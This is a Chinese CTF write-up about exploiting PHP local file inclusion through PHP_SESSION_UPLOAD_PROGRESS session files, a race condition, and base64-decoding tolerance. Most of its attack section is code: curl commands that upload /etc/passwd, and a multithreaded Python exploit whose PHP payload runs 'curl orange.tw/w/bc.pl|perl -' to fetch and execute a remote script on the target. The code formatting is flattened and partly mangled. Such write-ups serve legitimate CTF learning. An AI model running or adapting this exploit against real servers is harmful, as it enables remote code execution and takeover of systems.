前段时间打了个神仙比赛，全程挂机，tqltql
session的问题
php检查session是否要处理是通过session.auto_start或者session_start()，但是默认情况下session.auto_start的Off的，而代码如果没有session_start()也是没有开启session的，但是如果用PHP_SESSION_UPLOAD_PROGRESS在多部分POST数据里就可以开启session了
1 2 3 4 5 6 7 8 9
$ curl http: //vps_ip/ 123 .php -H 'Cookie: PHPSESSID=hhh' $ ls -a /var/lib /php /sessions . .. $ curl http: //vps_ip/ 123 .php -H 'Cookie: PHPSESSID=hhh' -d 'PHP_SESSION_UPLOAD_PROGRESS=blabalbal' $ ls -a /var/lib /php /sessions . .. $ curl http: //vps_ip/ 123 .php -H 'Cookie: PHPSESSID=hhh' -F 'PHP_SESSION_UPLOAD_PROGRESS=blabalbal' -F 'file=@/etc/passwd' $ ls -a /var/lib /php /sessions . .. sess_hhh
session会被清除的问题
但是这里还有个问题，我们在自己的Linux上测试是可以保存了session文件的，但是hitcon可不可以保存session文件呢
session的利用
好了，到了现在，我们可以保证session里面肯定是有一个文件是我们自己上传进去的了，现在我们来看下那个文件
base64容错利用
我们知道，base64只会解密[a-zA-Z0-9]，但是，如果里面有不合法的字符的时候，他还是可以把正确的字符连接在一起去进行加密的
1 2 3 4 5 6 7 8 9 10 11 12
$i = 0 ; $data = "upload_progress_ZZ" ; while (true ){ $i += 1 ; $data = base64_decode($data); var_dump($data); echo '<br>' ; if ($data == '' ){ echo "解密次数: " .$i."\n" ; break ; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
import sysimport stringimport requestsfrom base64 import b64encodefrom random import sample, randintfrom multiprocessing.dummy import Pool as ThreadPoolHOST = 'http://54.250.246.238/' sess_name = 'iamorange' headers = { 'Connection' : 'close' , 'Cookie' : 'PHPSESSID=' + sess_name } payload = '@<?php `curl orange.tw/w/bc.pl|perl -`;?>' while 1 : junk = '' .join(sample(string.ascii_letters, randint(8 , 16 ))) x = b64encode(payload + junk) xx = b64encode(b64encode(payload + junk)) xxx = b64encode(b64encode(b64encode(payload + junk))) if '=' not in x and '=' not in xx and '=' not in xxx: payload = xxx print payload break def runner1 (i) : data = { 'PHP_SESSION_UPLOAD_PROGRESS' : 'ZZ' + payload + 'Z' } while 1 : fp = open('/etc/passwd' , 'rb' ) r = requests.post(HOST, files={'f' : fp}, data=data, headers=headers) fp.close() def runner2 (i) : filename = '/var/lib/php/sessions/sess_' + sess_name filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename while 1 : url = '%s?orange=%s' % (HOST, filename) r = requests.get(url, headers=headers) c = r.content if c and 'orange' not in c: print [c] if sys.argv[0 ] == '1' : runner = runner1 else : runner = runner2 pool = ThreadPool(32 ) result = pool.map_async( runner, range(32 ) ).get(0xffff )
好了好了，总的来说这题考了条件竞争，session漏洞，base64容错机制，溜了溜了
评论